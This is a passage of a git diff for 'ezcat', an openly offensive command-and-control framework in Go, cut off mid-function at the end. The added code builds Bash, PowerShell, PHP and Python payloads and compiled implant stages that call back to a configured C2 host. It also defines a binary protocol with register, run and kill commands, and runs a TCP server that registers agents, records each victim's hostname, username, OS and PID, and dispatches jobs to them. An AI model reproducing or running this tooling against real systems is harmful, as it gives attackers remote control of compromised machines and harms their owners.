+func (p *Struct) buildPayload(b *build) (string, error) {
+	if !b.Payload.SupportsTarget(b.Target) {
+		return "", fmt.Errorf("target is not supported by the payload")
+	}
+
+	payloaddir := path.Join(p.Config.PayloadDir, strings.ToLower(b.Payload.Name))
+	builddir := path.Join("/tmp", "ezcat_payload_"+b.ID)
+
+	if err := util.CopySimple(builddir, payloaddir); err != nil {
+		return "", err
+	}
+
+	config_file := path.Join(builddir, b.Payload.Config)
+	config_data, err := os.ReadFile(config_file)
+
+	if err != nil {
+		return "", err
+	}
+
+	config_url := fmt.Sprintf("http://%s:%d/%s", b.Host, b.Port, b.ID)
+	config_edited := strings.ReplaceAll(string(config_data), "#URL#", config_url)
+
+	if err = os.WriteFile(config_file, []byte(config_edited), os.ModePerm); err != nil {
+		return "", err
+	}
+
+	if out, err := util.RunBuild(builddir, b.Target.CodeName(), nil); err != nil {
+		log.Fail("failed to run the build command for the payload:\n=====\n%s%s\n=====", out, err.Error())
+		return "", fmt.Errorf("failed to run the build: %s", err.Error())
+	}
+
+	res, err := os.ReadFile(path.Join(builddir, b.Payload.Output))
+
+	if err != nil {
+		return "", err
+	}
+
+	if res[len(res)-1] == '\n' {
+		res = res[:len(res)-1]
+	}
+
+	return string(res), nil
+}
diff --git a/server/builder/stage.go b/server/builder/stage.go
new file mode 100644
index 0000000..5c8ae62
--- /dev/null
+++ b/server/builder/stage.go
@@ -0,0 +1,54 @@
+package builder
+
+import (
+	"fmt"
+	"os"
+	"path"
+
+	"github.com/ngn13/ezcat/server/log"
+	"github.com/ngn13/ezcat/server/util"
+)
+
+var (
+	STAGE_CONFIG = path.Join("src", "config.h")
+	STAGE_OUTPUT = "stage"
+)
+
+func (s *Struct) buildStage(b *build) (err error) {
+	stagedir := path.Join(s.Config.PayloadDir, "stage")
+	builddir := path.Join("/tmp", "ezcat_stage_"+b.ID)
+
+	if err = util.CopySimple(builddir, stagedir); err != nil {
+		return fmt.Errorf("failed to copy stage dir: %s", err.Error())
+	}
+
+	options := map[string]string{
+		"STAGE_ID":          b.ID,
+		"STAGE_SERVER_HOST": b.Host,
+		"STAGE_SERVER_PORT": fmt.Sprintf("%d", s.Config.C2_Port),
+	}
+
+	if s.Config.Debug {
+		options["STAGE_DEBUG"] = "1"
+	} else {
+		options["STAGE_DEBUG"] = "0"
+	}
+
+	if out, err := util.RunBuild(builddir, b.Target.CodeName(), options); err != nil {
+		log.Fail("failed to run the build command for the stage:\n=====\n%s\n=====", out)
+		return fmt.Errorf("failed to run the build: %s", err.Error())
+	}
+
+	if err = os.Mkdir(s.Config.DistDir, 0777); err != nil && !os.IsExist(err) {
+		return err
+	}
+
+	dst := path.Join(s.Config.DistDir, b.ID)
+	src := path.Join(builddir, STAGE_OUTPUT)
+
+	if err = util.CopyFile(dst, src); err != nil {
+		return err
+	}
+
+	return nil
+}
diff --git a/server/builder/target.go b/server/builder/target.go
new file mode 100644
index 0000000..5e0c23a
--- /dev/null
+++ b/server/builder/target.go
@@ -0,0 +1,45 @@
+package builder
+
+import (
+	"fmt"
+	"strings"
+)
+
+type Target struct {
+	Name string `json:"name"`
+	Arch string `json:"arch"`
+}
+
+var (
+	TARGET_LINUX = Target{
+		Name: "Linux",
+		Arch: "amd64",
+	}
+
+	TARGET_WINDOWS = Target{
+		Name: "Windows",
+		Arch: "amd64",
+	}
+
+	TARGET_ALL = []Target{
+		TARGET_LINUX, TARGET_WINDOWS,
+	}
+)
+
+func (t *Target) PrettyName() string {
+	return fmt.Sprintf("%s (%s)", t.Name, t.Arch)
+}
+
+func (t *Target) CodeName() string {
+	return fmt.Sprintf("%s_%s",
+		strings.ToLower(t.Name), strings.ToLower(t.Arch))
+}
+
+func TargetByCode(cn string) *Target {
+	for i := range TARGET_ALL {
+		if TARGET_ALL[i].CodeName() == cn {
+			return &TARGET_ALL[i]
+		}
+	}
+	return nil
+}
diff --git a/server/c2/packet.go b/server/c2/packet.go
new file mode 100644
index 0000000..a1ca7ce
--- /dev/null
+++ b/server/c2/packet.go
@@ -0,0 +1,113 @@
+package c2
+
+import (
+	"bytes"
+	"encoding/binary"
+	"fmt"
+
+	"github.com/ngn13/ezcat/server/log"
+)
+
+const (
+	PACKET_MAX_SIZE = 255 + 4 + 3
+	PACKET_TYPE_REQ = 0
+	PACKET_TYPE_RES = 1
+	PACKET_VERSION  = 0
+)
+
+const (
+	COMMAND_FAILURE  = 0
+	COMMAND_SUCCESS  = 1
+	COMMAND_REGISTER = 2
+	COMMAND_KILL     = 3
+	COMMAND_RUN      = 4
+	COMMAND_ASK      = 5
+	COMMAND_INFO     = 6
+	COMMAND_NONE     = 7
+	COMMAND_AUTH     = 8
+)
+
+type Packet struct {
+	Header struct {
+		Flags   uint8  // version (3 bits), 1 (type), 4 (command)
+		Session uint32 // agent session
+		JobID   uint16 // id of the work this packet is assoicated with
+		Size    uint8  // data size
+	}
+	Data []byte
+}
+
+func (p *Packet) Reset() {
+	p.Header.Session = 0
+	p.Header.JobID = 0
+	p.Header.Flags = 0
+	p.Header.Size = 0
+
+	p.Data = []byte{}
+}
+
+func (p *Packet) Version() uint8 {
+	return (p.Header.Flags >> 5) & 0b11
+}
+
+func (p *Packet) IsRequest() bool {
+	return (p.Header.Flags>>4)&1 == PACKET_TYPE_REQ
+}
+
+func (p *Packet) Command() uint8 {
+	return p.Header.Flags & 0b1111
+}
+
+func (p *Packet) SetFlags(typ uint8, cmd uint8) {
+	p.Header.Flags = 0
+	p.Header.Flags |= (cmd & 0b1111)
+	p.Header.Flags |= (typ & 1) << 4
+	p.Header.Flags |= (PACKET_VERSION & 0b111) << 5
+}
+
+func (p *Packet) Read(b *bytes.Buffer) (err error) {
+	if err = binary.Read(b, binary.BigEndian, &p.Header); err != nil {
+		log.Debg("failed to read packet header: %s", err.Error())
+		return err
+	}
+
+	if p.Version() != PACKET_VERSION {
+		return fmt.Errorf("version mismatch")
+	}
+
+	var size int
+	p.Data = make([]byte, p.Header.Size)
+
+	if size, err = b.Read(p.Data); err != nil {
+		log.Debg("failed to read data: %s", err.Error())
+		return err
+	}
+
+	if size != int(p.Header.Size) {
+		log.Debg("failed to read all the packet data (%d/%v)", size, p.Header.Size)
+		return fmt.Errorf("failed to read all the packet data")
+	}
+
+	return nil
+}
+
+func (p *Packet) Write(b *bytes.Buffer) (err error) {
+	if err = binary.Write(b, binary.BigEndian, &p.Header); err != nil {
+		log.Debg("failed to write packet header: %s", err.Error())
+		return err
+	}
+
+	var size int
+
+	if size, err = b.Write(p.Data[:p.Header.Size]); err != nil {
+		log.Debg("failed to write data: %s", err.Error())
+		return err
+	}
+
+	if size != int(p.Header.Size) {
+		log.Debg("failed to write all the packet data (%d/%v)", size, p.Header.Size)
+		return fmt.Errorf("failed to write all the packet data")
+	}
+
+	return nil
+}
diff --git a/server/c2/server.go b/server/c2/server.go
new file mode 100644
index 0000000..9cdd860
--- /dev/null
+++ b/server/c2/server.go
@@ -0,0 +1,258 @@
+package c2
+
+import (
+	"bytes"
+	"fmt"
+	"io"
+	"net"
+	"strconv"
+	"strings"
+	"time"
+
+	"github.com/ngn13/ezcat/server/agent"
+	"github.com/ngn13/ezcat/server/builder"
+	"github.com/ngn13/ezcat/server/log"
+)
+
+type Server struct {
+	Listener *net.TCPListener
+	Agents   *agent.List
+	Build    *builder.Struct
+}
+
+func New(build *builder.Struct, list *agent.List) (s *Server) {
+	return &Server{
+		Build:  build,
+		Agents: list,
+	}
+}
+
+func infoCallback(j *agent.Job) {
+	var (
+		pid int64
+		res string = ""
+		err error
+	)
+
+	if j.Response != nil {
+		res = string(j.Response)
+	}
+
+	if !j.Success {
+		log.Debg("info job failed for %s: %s", j.Agent.Session, res)
+		j.Agent.DelJob(j.ID)
+		return
+	}
+
+	sections := strings.Split(res, "@")
+
+	if len(sections) != 4 {
+		log.Debg("info callback failed, invalid section count")
+		j.Agent.DelJob(j.ID)
+		return
+	}
+
+	if pid, err = strconv.ParseInt(sections[3], 10, 32); err != nil {
+		log.Debg("info callback failed, cannot parse PID (%s)", err.Error())
+		j.Agent.DelJob(j.ID)
+		return
+	}
+
+	j.Agent.Hostname = sections[0]
+	j.Agent.Username = sections[1]
+	j.Agent.OS = sections[2]
+	j.Agent.PID = int32(pid)
+
+	j.Agent.DelJob(j.ID)
+}
+
+func (s *Server) HandleReq(con *net.TCPConn, buf *bytes.Buffer) ([]byte, error) {
+	var (
+		ag  *agent.Agent
+		job *agent.Job
+
+		packet Packet
+		err    error
+	)
+
+	if err = packet.Read(buf); err != nil {
+		return nil, err
+	}
+
+	if !packet.IsRequest() {
+		return nil, fmt.Errorf("packet is not a request")
+	}
+
+	buf.Reset()
+
+	if ag = s.Agents.Find(packet.Header.Session); ag == nil && packet.Command() != COMMAND_REGISTER {
+		log.Debg("unknown session (%v), asking for registration", packet.Header.Session)
+
+		packet.Reset()
+		packet.SetFlags(PACKET_TYPE_RES, COMMAND_AUTH)
+
+		goto send_packet
+	}
+
+	switch packet.Command() {
+	case COMMAND_REGISTER:
+		if packet.Header.Size != builder.ID_LEN {
+			return nil, fmt.Errorf("invalid ID len (%v != %d)", packet.Header.Size, builder.ID_LEN)
+		}
+
+		if !s.Build.IsValid(string(packet.Data)) {
+			return nil, fmt.Errorf("invalid ID")
+		}
+
+		ag = s.Agents.New()
+		ag.AddJob(COMMAND_INFO, nil, 0, infoCallback)
+
+		packet.Reset()
+
+		packet.SetFlags(PACKET_TYPE_RES, COMMAND_SUCCESS)
+		packet.Header.Session = ag.Session
+
+	case COMMAND_ASK:
+		packet.Reset()
+
+		if job = ag.NextJob(); job == nil {
+			log.Debg("no available job for session (%v)", packet.Header.Session)
+
+			packet.Header.Session = ag.Session
+			packet.SetFlags(PACKET_TYPE_RES, COMMAND_NONE)
+
+			break
+		}
+
+		packet.Header.Session = ag.Session
+		packet.SetFlags(PACKET_TYPE_RES, job.Command)
+		packet.Header.JobID = job.ID
+
+		packet.Header.Size = job.ArgumentSize
+		packet.Data = job.Argument
+
+	case COMMAND_SUCCESS:
+		if job = ag.GetJob(packet.Header.JobID); job == nil {
+			return nil, fmt.Errorf("invalid job ID (%v)", packet.Header.JobID)
+		}
+
+		job.Success = true
+		job.Waiting = false
+
+		job.Response = packet.Data
+		job.ResponseSize = packet.Header.Size
+
+		if job.Callback != nil {
+			job.Callback(job)
+		}
+
+		return nil, nil
+
+	case COMMAND_FAILURE:
+		if job = ag.GetJob(packet.Header.JobID); job == nil {
+			return nil, fmt.Errorf("invalid job ID (%v)", packet.Header.JobID)
+		}
+
+		job.Success = false
+		job.Waiting = false
+
+		job.Response = packet.Data
+		job.ResponseSize = packet.Header.Size
+
+		if job.Callback != nil {
+			job.Callback(job)
+		}
+
+		return nil, nil
+
+	default:
+		return nil, fmt.Errorf("invalid commad: %v", packet.Command())
+	}
+
+	if ag != nil {
+		ag.LastCon = time.Now()
+		ag.IP = con.RemoteAddr().String()
+	}
+
+send_packet:
+	if err = packet.Write(buf); err != nil {
+		return nil, err
+	}
+
+	return buf.Bytes(), nil
+}
+
+func (s *Server) HandleCon(con *net.TCPConn) {
+	for {
+		var (
+			req  []byte
+			res  []byte
+			size int
+			err  error
+		)
+
+		req = make([]byte, PACKET_MAX_SIZE)
+
+		if size, err = con.Read(req); err != nil && err != net.ErrClosed && err != io.EOF {
+			log.Debg("failed to read TCP connection from %s: %s", con.RemoteAddr().String(), err.Error())
+			continue
+		}
+
+		if err == net.ErrClosed || err == io.EOF {
+			log.Debg("closing TCP connection from: %s", con.RemoteAddr().String())
+			con.Close()
+			break
+		}
+
+		log.Debg("received %d bytes from %s", size, con.RemoteAddr().String())
+
+		if res, err = s.HandleReq(con, bytes.NewBuffer(req)); err != nil {
+			log.Debg("failed to handle request from %s: %s", con.RemoteAddr().String(), err.Error())
+			continue
+		}
+
+		if nil == res {
+			log.Debg("no response to send")
+			continue
+		}
+
+		if _, err = con.Write(res); err != nil {
+			log.Debg("failed to send the response to %s: %s", con.RemoteAddr().String(), err.Error())
+			continue
+		}
+	}
+}
+
+func (s *Server) Handle() error {
+	defer s.Listener.Close()
+
+	for {
+		var (
+			con *net.TCPConn
+			err error
+		)
+
+		if con, err = s.Listener.AcceptTCP(); err != nil {
+			log.Debg("failed to accept the TCP connection: %s", err.Error())
+			continue
+		}
+
+		log.Debg("accepted connection from %s", con.RemoteAddr().String())
+		go s.HandleCon(con)
+	}
+}
+
+func (s *Server) Listen(_addr string) (err error) {
+	var addr *net.TCPAddr
+
+	if addr, err = net.ResolveTCPAddr("tcp", _addr); err != nil {
+		return err
+	}
+
+	if s.Listener, err = net.ListenTCP("tcp4", addr); err != nil {
+		return err
+	}
+
+	go s.Handle()
+	return nil
+}
diff --git a/server/config/config.go b/server/config/config.go
index ada2da6..b882359 100644
--- a/server/config/config.go
+++ b/server/config/config.go
@@ -1,48 +1,113 @@
 package config
 
 import (
+	"fmt"
 	"os"
+	"reflect"
 	"strconv"
 
-	"github.com/ngn13/ezcat/server/global"
-	"github.com/ngn13/ezcat/server/log"
 	"github.com/ngn13/ezcat/server/util"
 )
 
-func Load() {
-  var err error
-
-  global.CONFIG_HTTPPORT, err = strconv.Atoi(os.Getenv("HTTP_PORT"))
-  if err != nil || !util.IsValidPort(global.CONFIG_HTTPPORT) {
-    global.CONFIG_HTTPPORT = 5566
-  }
-
-  global.CONFIG_AGENTPORT, err = strconv.Atoi(os.Getenv("AGENT_PORT"))
-  if err != nil || !util.IsValidPort(global.CONFIG_AGENTPORT) {
-    global.CONFIG_AGENTPORT = 1053
-  }
-
-  global.CONFIG_PASSWORD = os.Getenv("PASSWORD")
-  if global.CONFIG_PASSWORD == "" {
-    log.Warn("Using the default password (very insecure, change it using the PASSWORD environment variable)")
-    global.CONFIG_PASSWORD = "ezcat"
-  }
-
-  global.CONFIG_STATICDIR = os.Getenv("STATIC_DIR")
-  if global.CONFIG_STATICDIR == "" {
-    log.Warn("STATICDIR is not set, only serving the API")
-  }
-
-  global.CONFIG_DATADIR = os.Getenv("DATA_DIR")
-  if global.CONFIG_DATADIR == "" {
-    global.CONFIG_DATADIR = "./data"
-  }
-
-  global.CONFIG_PAYLOADDIR = os.Getenv("PAYLOAD_DIR")
-  if global.CONFIG_PAYLOADDIR == "" {
-    global.CONFIG_PAYLOADDIR = "../payloads"
-  }
-
-  global.CONFIG_MEGAMIND = os.Getenv("DISABLE_MEGAMIND") != "1"
-  global.CONFIG_DEBUG = os.Getenv("DEBUG") == "1"
+type Struct struct {
+	Version    string // not modifiable
+	HTTP_Port  int    `env:"HTTP_PORT"`
+	C2_Port    int    `env:"C2_PORT"`
+	Password   string `env:"PASSWORD"`
+	StaticDir  string `env:"STATIC_DIR"`
+	DistDir    string `env:"DIST_DIR"`
+	PayloadDir string `env:"PAYLOAD_DIR"`
+	ShellIP    string `env:"SHELLIP"`
+	Megamind   bool   `env:"MEGAMIND"`
+	Debug      bool   `env:"DEBUG"`
+}
+
+func (conf *Struct) Load() error {
+	var (
+		val reflect.Value
+		typ reflect.Type
+
+		field_val reflect.Value
+		field_typ reflect.StructField
+
+		env_name string
+		env_val  string
+
+		err error
+		ok  bool
+	)
+
+	val = reflect.ValueOf(conf).Elem()
+	typ = val.Type()
+
+	for i := 0; i < val.NumField(); i++ {
+		field_val = val.Field(i)
+		field_typ = typ.Field(i)
+
+		if env_name, ok = field_typ.Tag.Lookup("env"); !ok || !field_val.CanSet() {
+			continue
+		}
+
+		env_name = fmt.Sprintf("EZCAT_%s", env_name)
+
+		if env_val = os.Getenv(env_name); env_val == "" {
+			continue
+		}
+
+		switch field_val.Kind() {
+		case reflect.String:
+			field_val.SetString(env_val)
+
+		case reflect.Int:
+			var env_val_int int
+			if env_val_int, err = strconv.Atoi(env_val); err != nil {
+				return fmt.Errorf("%s should be an integer", env_name)
+			}
+			field_val.SetInt(int64(env_val_int))
+
+		case reflect.Bool:
+			var env_val_bool bool
+			if env_val == "true" || env_val == "1" {
+				env_val_bool = true
+			} else if env_val == "false" || env_val == "0" {
+				env_val_bool = false
+			} else {
+				return fmt.Errorf("%s should be a boolean", env_name)
+			}
+			field_val.SetBool(env_val_bool)
+		}
+	}
+
+	return nil
+}
+
+func New() (*Struct, error) {
+	var (
+		conf Struct
+		err  error
+	)
+
+	conf.Version = "2.4"
+	conf.HTTP_Port = 5566
+	conf.C2_Port = 5567
+	conf.Password = "ezcat"
+	conf.DistDir = "./data"
+	conf.StaticDir = ""
+	conf.PayloadDir = "../payloads"
+	conf.Megamind = true
+	conf.Debug = false
+
+	if err = conf.Load(); err != nil {
+		return nil, err
+	}
+
+	if !util.IsValidPort(conf.HTTP_Port) {
+		return nil, fmt.Errorf("invalid port number for the HTTP port: %d", conf.HTTP_Port)
+	}
+
+	if !util.IsValidPort(conf.C2_Port) {
+		return nil, fmt.Errorf("invalid port number for the C2 port: %d", conf.C2_Port)
+	}
+
+	return &conf, nil
 }
diff --git a/server/global/agent.go b/server/global/agent.go
index fea403f..e531d8b 100644
--- a/server/global/agent.go
+++ b/server/global/agent.go
@@ -2,6 +2,6 @@ package global
 
 // see payloads/stage/main.c
 var (
-  SLEEP_MAX int = 10
-  SLEEP_MIN int = 3
+	SLEEP_MAX int = 10
+	SLEEP_MIN int = 3
 )
diff --git a/server/global/config.go b/server/global/config.go
deleted file mode 100644
index 608d880..0000000
--- a/server/global/config.go
+++ /dev/null
@@ -1,13 +0,0 @@
-package global
-
-// these defaults are reset in config/config.go
-var (
-  CONFIG_HTTPPORT   int    = 5566
-  CONFIG_AGENTPORT  int    = 1053
-  CONFIG_PASSWORD   string = "ezcat"
-  CONFIG_STATICDIR  string = ""
-  CONFIG_DATADIR    string = "./data"
-  CONFIG_PAYLOADDIR string = "../payloads"
-  CONFIG_DEBUG      bool   = false
-  CONFIG_MEGAMIND   bool   = true
-)
diff --git a/server/global/len.go b/server/global/len.go
index 9c4944e..dde420c 100644
--- a/server/global/len.go
+++ b/server/global/len.go
@@ -1,6 +1,6 @@
 package global
 
 var (
-  SESSION_LEN  int = 31
-  ID_LEN       int = 31
+	SESSION_LEN int = 31
+	ID_LEN      int = 31
 )
diff --git a/server/jobs/jobs.go b/server/jobs/jobs.go
deleted file mode 100644
index 90c72ef..0000000
--- a/server/jobs/jobs.go
+++ /dev/null
@@ -1,44 +0,0 @@
-package jobs 
-
-import (
-	"github.com/ngn13/ezcat/server/util"
-)
-
-type Job struct {
-  ID      string `json:"id"`
-  Message string `json:"message"`
-  Success bool   `json:"success"`
-  Active  bool   `json:"active"`
-}
-
-var jobs []Job
-
-func Add(msg string) *Job {
-  var job Job = Job{
-    ID: util.MakeRandom(12),
-    Message: msg,
-    Success: false,
-    Active: true,
-  }
-
-  jobs = append(jobs, job)
-  return &jobs[len(jobs)-1]
-}
-
-func Get(id string) *Job {
-  for i := range jobs {
-    if jobs[i].ID == id {
-      return &jobs[i]
-    }
-  }
-  return nil
-}
-
-func Del(id string) {
-  for i := range jobs {
-    if jobs[i].ID == id {
-      jobs = append(jobs[:i], jobs[i+1:]...)
-      return
-    }
-  }
-}
diff --git a/server/log/log.go b/server/log/log.go
index 4c2e663..21164df 100644
--- a/server/log/log.go
+++ b/server/log/log.go
@@ -3,21 +3,19 @@ package log
 import (
 	"log"
 	"os"
+)
 
-	"github.com/ngn13/ezcat/server/global"
+const (
+	COLOR_BLUE   = "\033[34m"
+	COLOR_YELLOW = "\033[33m"
+	COLOR_RED    = "\033[31m"
+	COLOR_CYAN   = "\033[36m"
+	COLOR_RESET  = "\033[0m"
 )
 
 var (
-  Debug = func(f string, args...interface{}){ 
-    if !global.CONFIG_DEBUG { 
-      return 
-    } 
-
-    log.SetFlags(log.Ltime | log.Lshortfile)
-    log.SetPrefix("\033[1m\033[36m[DEBG]\033[0m ")
-    log.Printf(f, args...)
-  }
-  Warn  = log.New(os.Stdout, "\033[1m\033[33m[WARN]\033[0m ", log.Ltime | log.Lshortfile).Printf
-  Info  = log.New(os.Stdout, "\033[1m\033[34m[INFO]\033[0m ", log.Ltime | log.Lshortfile).Printf
-  Err   = log.New(os.Stderr, "\033[1m\033[31m[ERRO]\033[0m ", log.Ltime | log.Lshortfile).Printf
+	Info = log.New(os.Stdout, COLOR_BLUE+"[info]"+COLOR_RESET+" ", log.Ltime|log.Lshortfile).Printf
+	Warn = log.New(os.Stderr, COLOR_YELLOW+"[warn]"+COLOR_RESET+" ", log.Ltime|log.Lshortfile).Printf
+	Fail = log.New(os.Stderr, COLOR_RED+"[fail]"+COLOR_RESET+" ", log.Ltime|log.Lshortfile).Printf
+	Debg = log.New(os.Stderr, COLOR_CYAN+"[debg]"+COLOR_RESET+" ", log.Ltime|log.Lshortfile).Printf
 )
diff --git a/server/main.go b/server/main.go
index c477ef9..2d95de3 100644
--- a/server/main.go
+++ b/server/main.go
@@ -21,66 +21,116 @@ package main
 
 import (
 	"fmt"
+	"os"
 
 	"github.com/gofiber/fiber/v2"
 	"github.com/ngn13/ezcat/server/agent"
+	"github.com/ngn13/ezcat/server/builder"
+	"github.com/ngn13/ezcat/server/c2"
 	"github.com/ngn13/ezcat/server/config"
-	"github.com/ngn13/ezcat/server/global"
 	"github.com/ngn13/ezcat/server/log"
-	"github.com/ngn13/ezcat/server/payload"
 	"github.com/ngn13/ezcat/server/routes"
-	"github.com/ngn13/ezcat/server/util"
 )
 
 func main() {
-  app := fiber.New(fiber.Config{
-    AppName: "ezcat",
-    DisableStartupMessage: true,
-  })
-
-  // load config from the env
-  config.Load()
-  if global.CONFIG_STATICDIR != "" {
-    app.Static("/", global.CONFIG_STATICDIR)
-  }
-
-  // agent server setup
-  payload.StageLoad()
-  var server agent.AgentServer
-  go server.Start()
-
-  // groups
-  api  := app.Group("/api")
-  user := api.Group("/user")
-
-  // middlewares
-  api.Use("*", util.CORS)
-  user.Use("*", routes.ALL_auth)
-
-  // user API routes
-  user.Get("/logout",      routes.GET_logout)
-  user.Get("/agent/list",  routes.GET_agents)
-  user.Get("/agent/kill",  routes.GET_kill)
-  user.Put("/agent/run",   routes.PUT_run)
-
-  user.Get("/payload/list",  routes.GET_payloads)
-  user.Get("/payload/addr",  routes.GET_address)
-  user.Put("/payload/build", routes.PUT_build)
-
-  user.Get("/job/get",    routes.GET_job)
-  user.Delete("/job/del", routes.DEL_job)
-
-  // other API routes (no auth needed)
-  api.Get("/info",  routes.GET_info)
-  api.Put("/login", routes.PUT_login)
-
-  // payload routes
-  app.Get("/:id",   routes.GET_stage)
-
-  // start the api
-  log.Info("Starting ezcat 🐱(v%s)", routes.VERSION)
-  if global.CONFIG_STATICDIR != "" {
-    log.Info("======> Visit http://127.0.0.1:%d <======", global.CONFIG_HTTPPORT)
-  }
-  log.Err(app.Listen(fmt.Sprintf(":%d", global.CONFIG_HTTPPORT)).Error())
+	var (
+		agents agent.List
+		build  *builder.Struct
+		conf   *config.Struct
+		app    *fiber.App
+		srv    *c2.Server
+		err    error
+	)
+
+	// load config from the env
+	if conf, err = config.New(); err != nil {
+		log.Fail("failed to load the configuration: %s", err.Error())
+		os.Exit(1)
+	}
+
+	// load the payload/stage builder
+	if build, err = builder.New(conf); err != nil {
+		log.Fail("failed to create a new builder: %s", err.Error())
+		os.Exit(1)
+	}
+
+	// create a C2 server
+	srv = c2.New(build, &agents)
+
+	// create a web server
+	app = fiber.New(fiber.Config{
+		AppName:               "ezcat",
+		ServerHeader:          "",
+		DisableStartupMessage: true,
+	})
+
+	if conf.StaticDir != "" {
+		app.Static("/", conf.StaticDir)
+	}
+
+	if !conf.Debug {
+		log.Debg = func(format string, v ...any) {}
+	}
+
+	// groups
+	api := app.Group("/api")
+	user := api.Group("/user")
+
+	// middlewares
+	app.Use(func(c *fiber.Ctx) error {
+		c.Locals("agents", &agents)
+		c.Locals("builder", build)
+		c.Locals("config", conf)
+		return c.Next()
+	})
+
+	// auth and CORS middlewars
+	api.Use(routes.CORS)
+	user.Use(routes.Auth)
+
+	// user API routes
+	user.Get("/logout", routes.GET_logout)
+	user.Get("/agent/list", routes.GET_agents)
+	user.Get("/agent/kill", routes.GET_kill)
+	user.Put("/agent/run", routes.PUT_run)
+
+	user.Get("/payload/list", routes.GET_payloads)
+	user.Get("/payload/addr", routes.GET_address)
+	user.Put("/payload/build", routes.PUT_build)
+
+	user.Get("/job/get", routes.GET_job)
+	user.Delete("/job/del", routes.DEL_job)
+
+	// other API routes (no auth needed)
+	api.Get("/info", routes.GET_info)
+	api.Put("/login", routes.PUT_login)
+
+	// payload routes
+	app.Get("/:id", routes.GET_stage)
+
+	// other routes
+	app.All("*", func(c *fiber.Ctx) error {
+		return c.Redirect("https://www.youtube.com/watch?v=dQw4w9WgXcQ")
+	})
+
+	// start the API
+	log.Info("starting ezcat 🐱(v%s)", conf.Version)
+
+	log.Debg("starting the C2 server on port %d", conf.C2_Port)
+
+	if err = srv.Listen(fmt.Sprintf("0.0.0.0:%d", conf.C2_Port)); err != nil {
+		log.Fail("failed to start the C2 server")
+		os.Exit(1)
+	}
+
+	if conf.StaticDir != "" {
+		log.Info("======> visit http://127.0.0.1:%d <======", conf.HTTP_Port)
+	}
+
+	log.Debg("starting the HTTP server on port %d", conf.HTTP_Port)
+
+	if err = app.Listen(fmt.Sprintf("0.0.0.0:%d", conf.HTTP_Port)); err != nil {
+		log.Fail("failed to start the web server")
+		os.Exit(1)
+	}
 }
diff --git a/server/payload/payload.go b/server/payload/payload.go
deleted file mode 100644
index fa4566b..0000000
--- a/server/payload/payload.go
+++ /dev/null
@@ -1,144 +0,0 @@
-package payload
-
-import (
-	"fmt"
-	"os"
-	"path"
-	"strings"
-
-	"github.com/ngn13/ezcat/server/global"
-	"github.com/ngn13/ezcat/server/log"
-	"github.com/ngn13/ezcat/server/util"
-)
-
-type Payload struct {
-  Name    string   `json:"name"`
-  Config  string   `json:"config"`
-  Output  string   `json:"output"`
-  OS      []Target `json:"os"`
-}
-
-var List []Payload = []Payload{
-  // linux only
-  {Name: "Bash",       OS: []Target{TARGET_LINUX},  Config: "src/main.sh",   Output: "dist/main.sh"},
-
-  // windows only
-  {Name: "Powershell", OS: []Target{TARGET_WINDOWS}, Config: "src/main.ps1",  Output: "dist/main.ps1"},
-
-  // both
-  {Name: "PHP",        OS: TARGET_ALL, Config: "src/main.php", Output: "dist/main.php"},
-  {Name: "Python",     OS: TARGET_ALL, Config: "src/main.py",  Output: "dist/main.py"},
-}
-
-func (p *Payload) Build(target *Target, address string) (string, error) {
-  id  := util.MakeRandom(global.ID_LEN)
-  dst := path.Join("/tmp", "ezcat_payload_"+id)
-
-  ret := p.SupportsTarget(target)
-  if !ret {
-    return "", fmt.Errorf("target is not supported by the payload")
-  }
-
-  addr, port, err := util.ParseAddr(address)
-  if err != nil {
-    return "", err
-  }
-
-  _, err = StageBuild(StageConfig{
-    Target:    target,
-    ID:        id,
-    Address:   addr,
-    Port:      global.CONFIG_AGENTPORT,
-  })
-
-  if err != nil {
-    return "", err
-  }
-
-  err = util.CopySimple(dst, p.GetDir(target.CodeName()))
-  if err != nil {
-    return "", err
-  }
-
-  config_file := path.Join(dst, p.Config)
-  config_data, err := os.ReadFile(config_file)
-  if err != nil {
-    return "", err
-  }
-
-  config_url := fmt.Sprintf("http://%s:%d/%s", addr, port, id)
-  config_edited := strings.ReplaceAll(string(config_data), "#URL#", config_url)
-  err = os.WriteFile(config_file, []byte(config_edited), os.ModePerm)
-  if err != nil {
-    return "", err
-  }
-
-  out, err := util.RunBuild(dst, target.CodeName())
-  if err != nil {
-    log.Err("Failed to run the build command for the payload:\n=====\n%s%s\n=====", out, err.Error())
-    return "", fmt.Errorf("failed to run the build: %s", err.Error())
-  }
-
-  res, err := os.ReadFile(path.Join(dst, p.Output))
-  if err != nil {
-    return "", err
-  }
-
-  if res[len(res)-1] == '\n' {
-    res = res[:len(res)-1]
-  }
-
-  return string(res), nil
-}
-
-func (p *Payload) Supports(oscode string) *Target {
-  target := TargetByCode(oscode)
-  if target == nil {
-    return nil
-  }
-
-  for i := range p.OS {
-    if p.OS[i].CodeName() == target.CodeName() {
-      return &p.OS[i]
-    }
-  }
-
-  return nil
-}
-
-func (p *Payload) SupportsTarget(target *Target) bool {
-  for i := range p.OS {
-    if p.OS[i].CodeName() == target.CodeName() {
-      return true
-    }
-  }
-
-  return false
-}
-
-func (p *Payload) GetDir(oscode string) string {
-  if p.Supports(oscode) == nil {
-    return ""
-  }
-
-  src := path.Join(global.CONFIG_PAYLOADDIR, strings.ToLower(p.Name), oscode)
-  if util.Access(src) {
-    return src
-  }
-
-  src = path.Join(global.CONFIG_PAYLOADDIR, strings.ToLower(p.Name))
-  if util.Access(src) {
-    return src
-  }
-
-  return ""
-}
-
-func Get(typ string) *Payload{
-  for i := range List {
-    if List[i].Name == typ {
-      return &List[i]
-    }
-  }
-  return nil
-}
diff --git a/server/payload/stage.go b/server/payload/stage.go
deleted file mode 100644
index 22dde69..0000000
--- a/server/payload/stage.go
+++ /dev/null
@@ -1,123 +0,0 @@
-package payload
-
-import (
-	"fmt"
-	"os"
-	"path"
-	"strings"
-
-	"github.com/ngn13/ezcat/server/global"
-	"github.com/ngn13/ezcat/server/log"
-	"github.com/ngn13/ezcat/server/util"
-)
-
-type StageConfig struct {
-  Target    *Target 
-  ID        string
-  Address   string
-  Port      int
-}
-
-var (
-  STAGE_CONFIG = path.Join("src", "config.h")
-  STAGE_OUTPUT = "stage" 
-)
-
-var stages []string
-
-func StageLoad() error {
-  entries, err := os.ReadDir(global.CONFIG_DATADIR)
-  if os.IsNotExist(err) {
-    return nil
-  }
-
-  if err != nil {
-    return err
-  }
-
-  for _, e := range entries {
-    if strings.HasSuffix(e.Name(), "_stage") {
-      stages = append(stages, e.Name())
-      break
-    }
-  }
-
-  return nil
-}
-
-func StageGet(id string) string {
